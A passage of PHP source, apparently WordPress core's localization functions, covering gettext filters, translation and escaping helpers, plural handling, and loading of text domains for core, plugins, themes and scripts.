	 * @since 2.0.11
	 *
	 * @param string $translation Translated text.
	 * @param string $text        Text to translate.
	 * @param string $domain      Text domain. Unique identifier for retrieving translated strings.
	 */
	$translation = apply_filters( 'gettext', $translation, $text, $domain );

	/**
	 * Filters text with its translation for a domain.
	 *
	 * The dynamic portion of the hook name, `$domain`, refers to the text domain.
	 *
	 * @since 5.5.0
	 *
	 * @param string $translation Translated text.
	 * @param string $text        Text to translate.
	 * @param string $domain      Text domain. Unique identifier for retrieving translated strings.
	 */
	$translation = apply_filters( "gettext_{$domain}", $translation, $text, $domain );

	return $translation;
}

/**
 * Removes last item on a pipe-delimited string.
 *
 * Meant for removing the last item in a string, such as 'Role name|User role'. The original
 * string will be returned if no pipe '|' characters are found in the string.
 *
 * @since 2.8.0
 *
 * @param string $text A pipe-delimited string.
 * @return string Either $text or everything before the last pipe.
 */
function before_last_bar( $text ) {
	$last_bar = strrpos( $text, '|' );
	if ( false === $last_bar ) {
		return $text;
	} else {
		return substr( $text, 0, $last_bar );
	}
}

/**
 * Retrieves the translation of $text in the context defined in $context.
 *
 * If there is no translation, or the text domain isn't loaded, the original text is returned.
 *
 * *Note:* Don't use translate_with_gettext_context() directly, use _x() or related functions.
 *
 * @since 2.8.0
 * @since 5.5.0 Introduced `gettext_with_context-{$domain}` filter.
 *
 * @param string $text    Text to translate.
 * @param string $context Context information for the translators.
 * @param string $domain  Optional. Text domain. Unique identifier for retrieving translated strings.
 *                        Default 'default'.
 * @return string Translated text on success, original text on failure.
 */
function translate_with_gettext_context( $text, $context, $domain = 'default' ) {
	$translations = get_translations_for_domain( $domain );
	$translation  = $translations->translate( $text, $context );

	/**
	 * Filters text with its translation based on context information.
	 *
	 * @since 2.8.0
	 *
	 * @param string $translation Translated text.
	 * @param string $text        Text to translate.
	 * @param string $context     Context information for the translators.
	 * @param string $domain      Text domain. Unique identifier for retrieving translated strings.
	 */
	$translation = apply_filters( 'gettext_with_context', $translation, $text, $context, $domain );

	/**
	 * Filters text with its translation based on context information for a domain.
	 *
	 * The dynamic portion of the hook name, `$domain`, refers to the text domain.
	 *
	 * @since 5.5.0
	 *
	 * @param string $translation Translated text.
	 * @param string $text        Text to translate.
	 * @param string $context     Context information for the translators.
	 * @param string $domain      Text domain. Unique identifier for retrieving translated strings.
	 */
	$translation = apply_filters( "gettext_with_context_{$domain}", $translation, $text, $context, $domain );

	return $translation;
}

/**
 * Retrieves the translation of $text.
 *
 * If there is no translation, or the text domain isn't loaded, the original text is returned.
 *
 * @since 2.1.0
 *
 * @param string $text   Text to translate.
 * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
 *                       Default 'default'.
 * @return string Translated text.
 */
function __( $text, $domain = 'default' ) {
	return translate( $text, $domain );
}

/**
 * Retrieves the translation of $text and escapes it for safe use in an attribute.
 *
 * If there is no translation, or the text domain isn't loaded, the original text is returned.
 *
 * @since 2.8.0
 *
 * @param string $text   Text to translate.
 * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
 *                       Default 'default'.
 * @return string Translated text on success, original text on failure.
 */
function esc_attr__( $text, $domain = 'default' ) {
	return esc_attr( translate( $text, $domain ) );
}

/**
 * Retrieves the translation of $text and escapes it for safe use in HTML output.
 *
 * If there is no translation, or the text domain isn't loaded, the original text
 * is escaped and returned.
 *
 * @since 2.8.0
 *
 * @param string $text   Text to translate.
 * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
 *                       Default 'default'.
 * @return string Translated text.
 */
function esc_html__( $text, $domain = 'default' ) {
	return esc_html( translate( $text, $domain ) );
}

/**
 * Displays translated text.
 *
 * @since 1.2.0
 *
 * @param string $text   Text to translate.
 * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
 *                       Default 'default'.
 */
function _e( $text, $domain = 'default' ) {
	echo translate( $text, $domain );
}

/**
 * Displays translated text that has been escaped for safe use in an attribute.
 *
 * Encodes `< > & " '` (less than, greater than, ampersand, double quote, single quote).
 * Will never double encode entities.
 *
 * If you need the value for use in PHP, use esc_attr__().
 *
 * @since 2.8.0
 *
 * @param string $text   Text to translate.
 * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
 *                       Default 'default'.
 */
function esc_attr_e( $text, $domain = 'default' ) {
	echo esc_attr( translate( $text, $domain ) );
}

/**
 * Displays translated text that has been escaped for safe use in HTML output.
 *
 * If there is no translation, or the text domain isn't loaded, the original text
 * is escaped and displayed.
 *
 * If you need the value for use in PHP, use esc_html__().
 *
 * @since 2.8.0
 *
 * @param string $text   Text to translate.
 * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
 *                       Default 'default'.
 */
function esc_html_e( $text, $domain = 'default' ) {
	echo esc_html( translate( $text, $domain ) );
}

/**
 * Retrieves translated string with gettext context.
 *
 * Quite a few times, there will be collisions with similar translatable text
 * found in more than two places, but with different translated context.
 *
 * By including the context in the pot file, translators can translate the two
 * strings differently.
 *
 * @since 2.8.0
 *
 * @param string $text    Text to translate.
 * @param string $context Context information for the translators.
 * @param string $domain  Optional. Text domain. Unique identifier for retrieving translated strings.
 *                        Default 'default'.
 * @return string Translated context string without pipe.
 */
function _x( $text, $context, $domain = 'default' ) {
	return translate_with_gettext_context( $text, $context, $domain );
}

/**
 * Displays translated string with gettext context.
 *
 * @since 3.0.0
 *
 * @param string $text    Text to translate.
 * @param string $context Context information for the translators.
 * @param string $domain  Optional. Text domain. Unique identifier for retrieving translated strings.
 *                        Default 'default'.
 */
function _ex( $text, $context, $domain = 'default' ) {
	echo _x( $text, $context, $domain );
}

/**
 * Translates string with gettext context, and escapes it for safe use in an attribute.
 *
 * If there is no translation, or the text domain isn't loaded, the original text
 * is escaped and returned.
 *
 * @since 2.8.0
 *
 * @param string $text    Text to translate.
 * @param string $context Context information for the translators.
 * @param string $domain  Optional. Text domain. Unique identifier for retrieving translated strings.
 *                        Default 'default'.
 * @return string Translated text.
 */
function esc_attr_x( $text, $context, $domain = 'default' ) {
	return esc_attr( translate_with_gettext_context( $text, $context, $domain ) );
}

/**
 * Translates string with gettext context, and escapes it for safe use in HTML output.
 *
 * If there is no translation, or the text domain isn't loaded, the original text
 * is escaped and returned.
 *
 * @since 2.9.0
 *
 * @param string $text    Text to translate.
 * @param string $context Context information for the translators.
 * @param string $domain  Optional. Text domain. Unique identifier for retrieving translated strings.
 *                        Default 'default'.
 * @return string Translated text.
 */
function esc_html_x( $text, $context, $domain = 'default' ) {
	return esc_html( translate_with_gettext_context( $text, $context, $domain ) );
}

/**
 * Translates and retrieves the singular or plural form based on the supplied number.
 *
 * Used when you want to use the appropriate form of a string based on whether a
 * number is singular or plural.
 *
 * Example:
 *
 *     printf( _n( '%s person', '%s people', $count, 'text-domain' ), number_format_i18n( $count ) );
 *
 * @since 2.8.0
 * @since 5.5.0 Introduced `ngettext-{$domain}` filter.
 *
 * @param string $single The text to be used if the number is singular.
 * @param string $plural The text to be used if the number is plural.
 * @param int    $number The number to compare against to use either the singular or plural form.
 * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
 *                       Default 'default'.
 * @return string The translated singular or plural form.
 */
function _n( $single, $plural, $number, $domain = 'default' ) {
	$translations = get_translations_for_domain( $domain );
	$translation  = $translations->translate_plural( $single, $plural, $number );

	/**
	 * Filters the singular or plural form of a string.
	 *
	 * @since 2.2.0
	 *
	 * @param string $translation Translated text.
	 * @param string $single      The text to be used if the number is singular.
	 * @param string $plural      The text to be used if the number is plural.
	 * @param int    $number      The number to compare against to use either the singular or plural form.
	 * @param string $domain      Text domain. Unique identifier for retrieving translated strings.
	 */
	$translation = apply_filters( 'ngettext', $translation, $single, $plural, $number, $domain );

	/**
	 * Filters the singular or plural form of a string for a domain.
	 *
	 * The dynamic portion of the hook name, `$domain`, refers to the text domain.
	 *
	 * @since 5.5.0
	 *
	 * @param string $translation Translated text.
	 * @param string $single      The text to be used if the number is singular.
	 * @param string $plural      The text to be used if the number is plural.
	 * @param int    $number      The number to compare against to use either the singular or plural form.
	 * @param string $domain      Text domain. Unique identifier for retrieving translated strings.
	 */
	$translation = apply_filters( "ngettext_{$domain}", $translation, $single, $plural, $number, $domain );

	return $translation;
}

/**
 * Translates and retrieves the singular or plural form based on the supplied number, with gettext context.
 *
 * This is a hybrid of _n() and _x(). It supports context and plurals.
 *
 * Used when you want to use the appropriate form of a string with context based on whether a
 * number is singular or plural.
 *
 * Example of a generic phrase which is disambiguated via the context parameter:
 *
 *     printf( _nx( '%s group', '%s groups', $people, 'group of people', 'text-domain' ), number_format_i18n( $people ) );
 *     printf( _nx( '%s group', '%s groups', $animals, 'group of animals', 'text-domain' ), number_format_i18n( $animals ) );
 *
 * @since 2.8.0
 * @since 5.5.0 Introduced `ngettext_with_context-{$domain}` filter.
 *
 * @param string $single  The text to be used if the number is singular.
 * @param string $plural  The text to be used if the number is plural.
 * @param int    $number  The number to compare against to use either the singular or plural form.
 * @param string $context Context information for the translators.
 * @param string $domain  Optional. Text domain. Unique identifier for retrieving translated strings.
 *                        Default 'default'.
 * @return string The translated singular or plural form.
 */
function _nx( $single, $plural, $number, $context, $domain = 'default' ) {
	$translations = get_translations_for_domain( $domain );
	$translation  = $translations->translate_plural( $single, $plural, $number, $context );

	/**
	 * Filters the singular or plural form of a string with gettext context.
	 *
	 * @since 2.8.0
	 *
	 * @param string $translation Translated text.
	 * @param string $single      The text to be used if the number is singular.
	 * @param string $plural      The text to be used if the number is plural.
	 * @param int    $number      The number to compare against to use either the singular or plural form.
	 * @param string $context     Context information for the translators.
	 * @param string $domain      Text domain. Unique identifier for retrieving translated strings.
	 */
	$translation = apply_filters( 'ngettext_with_context', $translation, $single, $plural, $number, $context, $domain );

	/**
	 * Filters the singular or plural form of a string with gettext context for a domain.
	 *
	 * The dynamic portion of the hook name, `$domain`, refers to the text domain.
	 *
	 * @since 5.5.0
	 *
	 * @param string $translation Translated text.
	 * @param string $single      The text to be used if the number is singular.
	 * @param string $plural      The text to be used if the number is plural.
	 * @param int    $number      The number to compare against to use either the singular or plural form.
	 * @param string $context     Context information for the translators.
	 * @param string $domain      Text domain. Unique identifier for retrieving translated strings.
	 */
	$translation = apply_filters( "ngettext_with_context_{$domain}", $translation, $single, $plural, $number, $context, $domain );

	return $translation;
}

/**
 * Registers plural strings in POT file, but does not translate them.
 *
 * Used when you want to keep structures with translatable plural
 * strings and use them later when the number is known.
 *
 * Example:
 *
 *     $message = _n_noop( '%s post', '%s posts', 'text-domain' );
 *     ...
 *     printf( translate_nooped_plural( $message, $count, 'text-domain' ), number_format_i18n( $count ) );
 *
 * @since 2.5.0
 *
 * @param string $singular Singular form to be localized.
 * @param string $plural   Plural form to be localized.
 * @param string $domain   Optional. Text domain. Unique identifier for retrieving translated strings.
 *                         Default null.
 * @return array {
 *     Array of translation information for the strings.
 *
 *     @type string      $0        Singular form to be localized. No longer used.
 *     @type string      $1        Plural form to be localized. No longer used.
 *     @type string      $singular Singular form to be localized.
 *     @type string      $plural   Plural form to be localized.
 *     @type null        $context  Context information for the translators.
 *     @type string|null $domain   Text domain.
 * }
 */
function _n_noop( $singular, $plural, $domain = null ) {
	return array(
		0          => $singular,
		1          => $plural,
		'singular' => $singular,
		'plural'   => $plural,
		'context'  => null,
		'domain'   => $domain,
	);
}

/**
 * Registers plural strings with gettext context in POT file, but does not translate them.
 *
 * Used when you want to keep structures with translatable plural
 * strings and use them later when the number is known.
 *
 * Example of a generic phrase which is disambiguated via the context parameter:
 *
 *     $messages = array(
 *          'people'  => _nx_noop( '%s group', '%s groups', 'people', 'text-domain' ),
 *          'animals' => _nx_noop( '%s group', '%s groups', 'animals', 'text-domain' ),
 *     );
 *     ...
 *     $message = $messages[ $type ];
 *     printf( translate_nooped_plural( $message, $count, 'text-domain' ), number_format_i18n( $count ) );
 *
 * @since 2.8.0
 *
 * @param string $singular Singular form to be localized.
 * @param string $plural   Plural form to be localized.
 * @param string $context  Context information for the translators.
 * @param string $domain   Optional. Text domain. Unique identifier for retrieving translated strings.
 *                         Default null.
 * @return array {
 *     Array of translation information for the strings.
 *
 *     @type string      $0        Singular form to be localized. No longer used.
 *     @type string      $1        Plural form to be localized. No longer used.
 *     @type string      $2        Context information for the translators. No longer used.
 *     @type string      $singular Singular form to be localized.
 *     @type string      $plural   Plural form to be localized.
 *     @type string      $context  Context information for the translators.
 *     @type string|null $domain   Text domain.
 * }
 */
function _nx_noop( $singular, $plural, $context, $domain = null ) {
	return array(
		0          => $singular,
		1          => $plural,
		2          => $context,
		'singular' => $singular,
		'plural'   => $plural,
		'context'  => $context,
		'domain'   => $domain,
	);
}

/**
 * Translates and returns the singular or plural form of a string that's been registered
 * with _n_noop() or _nx_noop().
 *
 * Used when you want to use a translatable plural string once the number is known.
 *
 * Example:
 *
 *     $message = _n_noop( '%s post', '%s posts', 'text-domain' );
 *     ...
 *     printf( translate_nooped_plural( $message, $count, 'text-domain' ), number_format_i18n( $count ) );
 *
 * @since 3.1.0
 *
 * @param array  $nooped_plural {
 *     Array that is usually a return value from _n_noop() or _nx_noop().
 *
 *     @type string      $singular Singular form to be localized.
 *     @type string      $plural   Plural form to be localized.
 *     @type string|null $context  Context information for the translators.
 *     @type string|null $domain   Text domain.
 * }
 * @param int    $count         Number of objects.
 * @param string $domain        Optional. Text domain. Unique identifier for retrieving translated strings. If $nooped_plural contains
 *                              a text domain passed to _n_noop() or _nx_noop(), it will override this value. Default 'default'.
 * @return string Either $singular or $plural translated text.
 */
function translate_nooped_plural( $nooped_plural, $count, $domain = 'default' ) {
	if ( $nooped_plural['domain'] ) {
		$domain = $nooped_plural['domain'];
	}

	if ( $nooped_plural['context'] ) {
		return _nx( $nooped_plural['singular'], $nooped_plural['plural'], $count, $nooped_plural['context'], $domain );
	} else {
		return _n( $nooped_plural['singular'], $nooped_plural['plural'], $count, $domain );
	}
}

/**
 * Loads a .mo file into the text domain $domain.
 *
 * If the text domain already exists, the translations will be merged. If both
 * sets have the same string, the translation from the original value will be taken.
 *
 * On success, the .mo file will be placed in the $l10n global by $domain
 * and will be a MO object.
 *
 * @since 1.5.0
 * @since 6.1.0 Added the `$locale` parameter.
 *
 * @global MO[]                   $l10n                   An array of all currently loaded text domains.
 * @global MO[]                   $l10n_unloaded          An array of all text domains that have been unloaded again.
 * @global WP_Textdomain_Registry $wp_textdomain_registry WordPress Textdomain Registry.
 *
 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
 * @param string $mofile Path to the .mo file.
 * @param string $locale Optional. Locale. Default is the current locale.
 * @return bool True on success, false on failure.
 */
function load_textdomain( $domain, $mofile, $locale = null ) {
	/** @var WP_Textdomain_Registry $wp_textdomain_registry */
	global $l10n, $l10n_unloaded, $wp_textdomain_registry;

	$l10n_unloaded = (array) $l10n_unloaded;

	if ( ! is_string( $domain ) ) {
		return false;
	}

	/**
	 * Filters whether to short-circuit loading .mo file.
	 *
	 * Returning a non-null value from the filter will effectively short-circuit
	 * the loading, returning the passed value instead.
	 *
	 * @since 6.3.0
	 *
	 * @param bool|null   $loaded The result of loading a .mo file. Default null.
	 * @param string      $domain Text domain. Unique identifier for retrieving translated strings.
	 * @param string      $mofile Path to the MO file.
	 * @param string|null $locale Locale.
	 */
	$loaded = apply_filters( 'pre_load_textdomain', null, $domain, $mofile, $locale );
	if ( null !== $loaded ) {
		if ( true === $loaded ) {
			unset( $l10n_unloaded[ $domain ] );
		}

		return $loaded;
	}

	/**
	 * Filters whether to override the .mo file loading.
	 *
	 * @since 2.9.0
	 * @since 6.2.0 Added the `$locale` parameter.
	 *
	 * @param bool        $override Whether to override the .mo file loading. Default false.
	 * @param string      $domain   Text domain. Unique identifier for retrieving translated strings.
	 * @param string      $mofile   Path to the MO file.
	 * @param string|null $locale   Locale.
	 */
	$plugin_override = apply_filters( 'override_load_textdomain', false, $domain, $mofile, $locale );

	if ( true === (bool) $plugin_override ) {
		unset( $l10n_unloaded[ $domain ] );

		return true;
	}

	/**
	 * Fires before the MO translation file is loaded.
	 *
	 * @since 2.9.0
	 *
	 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
	 * @param string $mofile Path to the .mo file.
	 */
	do_action( 'load_textdomain', $domain, $mofile );

	/**
	 * Filters MO file path for loading translations for a specific text domain.
	 *
	 * @since 2.9.0
	 *
	 * @param string $mofile Path to the MO file.
	 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
	 */
	$mofile = apply_filters( 'load_textdomain_mofile', $mofile, $domain );

	if ( ! $locale ) {
		$locale = determine_locale();
	}

	$i18n_controller = WP_Translation_Controller::get_instance();

	// Ensures the correct locale is set as the current one, in case it was filtered.
	$i18n_controller->set_locale( $locale );

	/**
	 * Filters the preferred file format for translation files.
	 *
	 * Can be used to disable the use of PHP files for translations.
	 *
	 * @since 6.5.0
	 *
	 * @param string $preferred_format Preferred file format. Possible values: 'php', 'mo'. Default: 'php'.
	 * @param string $domain           The text domain.
	 */
	$preferred_format = apply_filters( 'translation_file_format', 'php', $domain );
	if ( ! in_array( $preferred_format, array( 'php', 'mo' ), true ) ) {
		$preferred_format = 'php';
	}

	$translation_files = array();

	if ( 'mo' !== $preferred_format ) {
		$translation_files[] = substr_replace( $mofile, ".l10n.$preferred_format", - strlen( '.mo' ) );
	}

	$translation_files[] = $mofile;

	foreach ( $translation_files as $file ) {
		/**
		 * Filters the file path for loading translations for the given text domain.
		 *
		 * Similar to the {@see 'load_textdomain_mofile'} filter with the difference that
		 * the file path could be for an MO or PHP file.
		 *
		 * @since 6.5.0
		 *
		 * @param string $file   Path to the translation file to load.
		 * @param string $domain The text domain.
		 */
		$file = (string) apply_filters( 'load_translation_file', $file, $domain );

		$success = $i18n_controller->load_file( $file, $domain, $locale );

		if ( $success ) {
			if ( isset( $l10n[ $domain ] ) && $l10n[ $domain ] instanceof MO ) {
				$i18n_controller->load_file( $l10n[ $domain ]->get_filename(), $domain, $locale );
			}

			// Unset NOOP_Translations reference in get_translations_for_domain().
			unset( $l10n[ $domain ] );

			$l10n[ $domain ] = new WP_Translations( $i18n_controller, $domain );

			$wp_textdomain_registry->set( $domain, $locale, dirname( $file ) );

			return true;
		}
	}

	return false;
}

/**
 * Unloads translations for a text domain.
 *
 * @since 3.0.0
 * @since 6.1.0 Added the `$reloadable` parameter.
 *
 * @global MO[] $l10n          An array of all currently loaded text domains.
 * @global MO[] $l10n_unloaded An array of all text domains that have been unloaded again.
 *
 * @param string $domain     Text domain. Unique identifier for retrieving translated strings.
 * @param bool   $reloadable Whether the text domain can be loaded just-in-time again.
 * @return bool Whether textdomain was unloaded.
 */
function unload_textdomain( $domain, $reloadable = false ) {
	global $l10n, $l10n_unloaded;

	$l10n_unloaded = (array) $l10n_unloaded;

	/**
	 * Filters whether to override the text domain unloading.
	 *
	 * @since 3.0.0
	 * @since 6.1.0 Added the `$reloadable` parameter.
	 *
	 * @param bool   $override   Whether to override the text domain unloading. Default false.
	 * @param string $domain     Text domain. Unique identifier for retrieving translated strings.
	 * @param bool   $reloadable Whether the text domain can be loaded just-in-time again.
	 */
	$plugin_override = apply_filters( 'override_unload_textdomain', false, $domain, $reloadable );

	if ( $plugin_override ) {
		if ( ! $reloadable ) {
			$l10n_unloaded[ $domain ] = true;
		}

		return true;
	}

	/**
	 * Fires before the text domain is unloaded.
	 *
	 * @since 3.0.0
	 * @since 6.1.0 Added the `$reloadable` parameter.
	 *
	 * @param string $domain     Text domain. Unique identifier for retrieving translated strings.
	 * @param bool   $reloadable Whether the text domain can be loaded just-in-time again.
	 */
	do_action( 'unload_textdomain', $domain, $reloadable );

	// Since multiple locales are supported, reloadable text domains don't actually need to be unloaded.
	if ( ! $reloadable ) {
		WP_Translation_Controller::get_instance()->unload_textdomain( $domain );
	}

	if ( isset( $l10n[ $domain ] ) ) {
		if ( $l10n[ $domain ] instanceof NOOP_Translations ) {
			unset( $l10n[ $domain ] );

			return false;
		}

		unset( $l10n[ $domain ] );

		if ( ! $reloadable ) {
			$l10n_unloaded[ $domain ] = true;
		}

		return true;
	}

	return false;
}

/**
 * Loads default translated strings based on locale.
 *
 * Loads the .mo file in WP_LANG_DIR constant path from WordPress root.
 * The translated (.mo) file is named based on the locale.
 *
 * @see load_textdomain()
 *
 * @since 1.5.0
 *
 * @param string $locale Optional. Locale to load. Default is the value of get_locale().
 * @return bool Whether the textdomain was loaded.
 */
function load_default_textdomain( $locale = null ) {
	if ( null === $locale ) {
		$locale = determine_locale();
	}

	// Unload previously loaded strings so we can switch translations.
	unload_textdomain( 'default', true );

	$return = load_textdomain( 'default', WP_LANG_DIR . "/$locale.mo", $locale );

	if ( ( is_multisite() || ( defined( 'WP_INSTALLING_NETWORK' ) && WP_INSTALLING_NETWORK ) ) && ! file_exists( WP_LANG_DIR . "/admin-$locale.mo" ) ) {
		load_textdomain( 'default', WP_LANG_DIR . "/ms-$locale.mo", $locale );
		return $return;
	}

	if ( is_admin() || wp_installing() || ( defined( 'WP_REPAIRING' ) && WP_REPAIRING ) ) {
		load_textdomain( 'default', WP_LANG_DIR . "/admin-$locale.mo", $locale );
	}

	if ( is_network_admin() || ( defined( 'WP_INSTALLING_NETWORK' ) && WP_INSTALLING_NETWORK ) ) {
		load_textdomain( 'default', WP_LANG_DIR . "/admin-network-$locale.mo", $locale );
	}

	return $return;
}

/**
 * Loads a plugin's translated strings.
 *
 * If the path is not given then it will be the root of the plugin directory.
 *
 * The .mo file should be named based on the text domain with a dash, and then the locale exactly.
 *
 * @since 1.5.0
 * @since 4.6.0 The function now tries to load the .mo file from the languages directory first.
 *
 * @param string       $domain          Unique identifier for retrieving translated strings
 * @param string|false $deprecated      Optional. Deprecated. Use the $plugin_rel_path parameter instead.
 *                                      Default false.
 * @param string|false $plugin_rel_path Optional. Relative path to WP_PLUGIN_DIR where the .mo file resides.
 *                                      Default false.
 * @return bool True when textdomain is successfully loaded, false otherwise.
 */
function load_plugin_textdomain( $domain, $deprecated = false, $plugin_rel_path = false ) {
	/** @var WP_Textdomain_Registry $wp_textdomain_registry */
	global $wp_textdomain_registry;

	if ( ! is_string( $domain ) ) {
		return false;
	}

	/**
	 * Filters a plugin's locale.
	 *
	 * @since 3.0.0
	 *
	 * @param string $locale The plugin's current locale.
	 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
	 */
	$locale = apply_filters( 'plugin_locale', determine_locale(), $domain );

	$mofile = $domain . '-' . $locale . '.mo';

	// Try to load from the languages directory first.
	if ( load_textdomain( $domain, WP_LANG_DIR . '/plugins/' . $mofile, $locale ) ) {
		return true;
	}

	if ( false !== $plugin_rel_path ) {
		$path = WP_PLUGIN_DIR . '/' . trim( $plugin_rel_path, '/' );
	} elseif ( false !== $deprecated ) {
		_deprecated_argument( __FUNCTION__, '2.7.0' );
		$path = ABSPATH . trim( $deprecated, '/' );
	} else {
		$path = WP_PLUGIN_DIR;
	}

	$wp_textdomain_registry->set_custom_path( $domain, $path );

	return load_textdomain( $domain, $path . '/' . $mofile, $locale );
}

/**
 * Loads the translated strings for a plugin residing in the mu-plugins directory.
 *
 * @since 3.0.0
 * @since 4.6.0 The function now tries to load the .mo file from the languages directory first.
 *
 * @global WP_Textdomain_Registry $wp_textdomain_registry WordPress Textdomain Registry.
 *
 * @param string $domain             Text domain. Unique identifier for retrieving translated strings.
 * @param string $mu_plugin_rel_path Optional. Relative to `WPMU_PLUGIN_DIR` directory in which the .mo
 *                                   file resides. Default empty string.
 * @return bool True when textdomain is successfully loaded, false otherwise.
 */
function load_muplugin_textdomain( $domain, $mu_plugin_rel_path = '' ) {
	/** @var WP_Textdomain_Registry $wp_textdomain_registry */
	global $wp_textdomain_registry;

	if ( ! is_string( $domain ) ) {
		return false;
	}

	/** This filter is documented in wp-includes/l10n.php */
	$locale = apply_filters( 'plugin_locale', determine_locale(), $domain );

	$mofile = $domain . '-' . $locale . '.mo';

	// Try to load from the languages directory first.
	if ( load_textdomain( $domain, WP_LANG_DIR . '/plugins/' . $mofile, $locale ) ) {
		return true;
	}

	$path = WPMU_PLUGIN_DIR . '/' . ltrim( $mu_plugin_rel_path, '/' );

	$wp_textdomain_registry->set_custom_path( $domain, $path );

	return load_textdomain( $domain, $path . '/' . $mofile, $locale );
}

/**
 * Loads the theme's translated strings.
 *
 * If the current locale exists as a .mo file in the theme's root directory, it
 * will be included in the translated strings by the $domain.
 *
 * The .mo files must be named based on the locale exactly.
 *
 * @since 1.5.0
 * @since 4.6.0 The function now tries to load the .mo file from the languages directory first.
 *
 * @global WP_Textdomain_Registry $wp_textdomain_registry WordPress Textdomain Registry.
 *
 * @param string       $domain Text domain. Unique identifier for retrieving translated strings.
 * @param string|false $path   Optional. Path to the directory containing the .mo file.
 *                             Default false.
 * @return bool True when textdomain is successfully loaded, false otherwise.
 */
function load_theme_textdomain( $domain, $path = false ) {
	/** @var WP_Textdomain_Registry $wp_textdomain_registry */
	global $wp_textdomain_registry;

	if ( ! is_string( $domain ) ) {
		return false;
	}

	/**
	 * Filters a theme's locale.
	 *
	 * @since 3.0.0
	 *
	 * @param string $locale The theme's current locale.
	 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
	 */
	$locale = apply_filters( 'theme_locale', determine_locale(), $domain );

	$mofile = $domain . '-' . $locale . '.mo';

	// Try to load from the languages directory first.
	if ( load_textdomain( $domain, WP_LANG_DIR . '/themes/' . $mofile, $locale ) ) {
		return true;
	}

	if ( ! $path ) {
		$path = get_template_directory();
	}

	$wp_textdomain_registry->set_custom_path( $domain, $path );

	return load_textdomain( $domain, $path . '/' . $locale . '.mo', $locale );
}

/**
 * Loads the child theme's translated strings.
 *
 * If the current locale exists as a .mo file in the child theme's
 * root directory, it will be included in the translated strings by the $domain.
 *
 * The .mo files must be named based on the locale exactly.
 *
 * @since 2.9.0
 *
 * @param string       $domain Text domain. Unique identifier for retrieving translated strings.
 * @param string|false $path   Optional. Path to the directory containing the .mo file.
 *                             Default false.
 * @return bool True when the theme textdomain is successfully loaded, false otherwise.
 */
function load_child_theme_textdomain( $domain, $path = false ) {
	if ( ! $path ) {
		$path = get_stylesheet_directory();
	}
	return load_theme_textdomain( $domain, $path );
}

/**
 * Loads the script translated strings.
 *
 * @since 5.0.0
 * @since 5.0.2 Uses load_script_translations() to load translation data.
 * @since 5.1.0 The `$domain` parameter was made optional.
 *
 * @see WP_Scripts::set_translations()
 *
 * @param string $handle Name of the script to register a translation domain to.
 * @param string $domain Optional. Text domain. Default 'default'.
 * @param string $path   Optional. The full file path to the directory containing translation files.
 * @return string|false The translated strings in JSON encoding on success,
 *                      false if the script textdomain could not be loaded.
 */
function load_script_textdomain( $handle, $domain = 'default', $path = '' ) {
	$wp_scripts = wp_scripts();

	if ( ! isset( $wp_scripts->registered[ $handle ] ) ) {
		return false;
	}

	$path   = untrailingslashit( $path );
	$locale = determine_locale();

	// If a path was given and the handle file exists simply return it.
	$file_base       = 'default' === $domain ? $locale : $domain . '-' . $locale;
	$handle_filename = $file_base . '-' . $handle . '.json';

	if ( $path ) {
		$translations = load_script_translations( $path . '/' . $handle_filename, $handle, $domain );

		if ( $translations ) {
			return $translations;
		}
	}

	$src = $wp_scripts->registered[ $handle ]->src;

	if ( ! preg_match( '|^(https?:)?//|', $src ) && ! ( $wp_scripts->content_url && str_starts_with( $src, $wp_scripts->content_url ) ) ) {
		$src = $wp_scripts->base_url . $src;
	}

	$relative       = false;
	$languages_path = WP_LANG_DIR;

	$src_url     = wp_parse_url( $src );
	$content_url = wp_parse_url( content_url() );
	$plugins_url = wp_parse_url( plugins_url() );
	$site_url    = wp_parse_url( site_url() );

	// If the host is the same or it's a relative URL.
	if (
		( ! isset( $content_url['path'] ) || str_starts_with( $src_url['path'], $content_url['path'] ) ) &&
		( ! isset( $src_url['host'] ) || ! isset( $content_url['host'] ) || $src_url['host'] === $content_url['host'] )
	) {
		// Make the src relative the specific plugin or theme.
		if ( isset( $content_url['path'] ) ) {
			$relative = substr( $src_url['path'], strlen( $content_url['path'] ) );
		} else {
			$relative = $src_url['path'];
		}
		$relative = trim( $relative, '/' );
		$relative = explode( '/', $relative );

		$languages_path = WP_LANG_DIR . '/' . $relative[0];

		$relative = array_slice( $relative, 2 ); // Remove plugins/<plugin name> or themes/<theme name>.
		$relative = implode( '/', $relative );
	} elseif (
		( ! isset( $plugins_url['path'] ) || str_starts_with( $src_url['path'], $plugins_url['path'] ) ) &&
		( ! isset( $src_url['host'] ) || ! isset( $plugins_url['host'] ) || $src_url['host'] === $plugins_url['host'] )
	) {
		// Make the src relative the specific plugin.
		if ( isset( $plugins_url['path'] ) ) {
			$relative = substr( $src_url['path'], strlen( $plugins_url['path'] ) );
		} else {
			$relative = $src_url['path'];
		}
		$relative = trim( $relative, '/' );
		$relative = explode( '/', $relative );

		$languages_path = WP_LANG_DIR . '/plugins';

		$relative = array_slice( $relative, 1 ); // Remove <plugin name>.
		$relative = implode( '/', $relative );
	} elseif ( ! isset( $src_url['host'] ) || ! isset( $site_url['host'] ) || $src_url['host'] === $site_url['host'] ) {
		if ( ! isset( $site_url['path'] ) ) {
			$relative = trim( $src_url['path'], '/' );
		} elseif ( str_starts_with( $src_url['path'], trailingslashit( $site_url['path'] ) ) ) {
			// Make the src relative to the WP root.
			$relative = substr( $src_url['path'], strlen( $site_url['path'] ) );
			$relative = trim( $relative, '/' );
		}
	}

	/**
	 * Filters the relative path of scripts used for finding translation files.
	 *
	 * @since 5.0.2
	 *
	 * @param string|false $relative The relative path of the script. False if it could not be determined.
	 * @param string       $src      The full source URL of the script.
	 */
	$relative = apply_filters( 'load_script_textdomain_relative_path', $relative, $src );

	// If the source is not from WP.
	if ( false === $relative ) {
		return load_script_translations( false, $handle, $domain );
	}

	// Translations are always based on the unminified filename.
	if ( str_ends_with( $relative, '.min.js' ) ) {
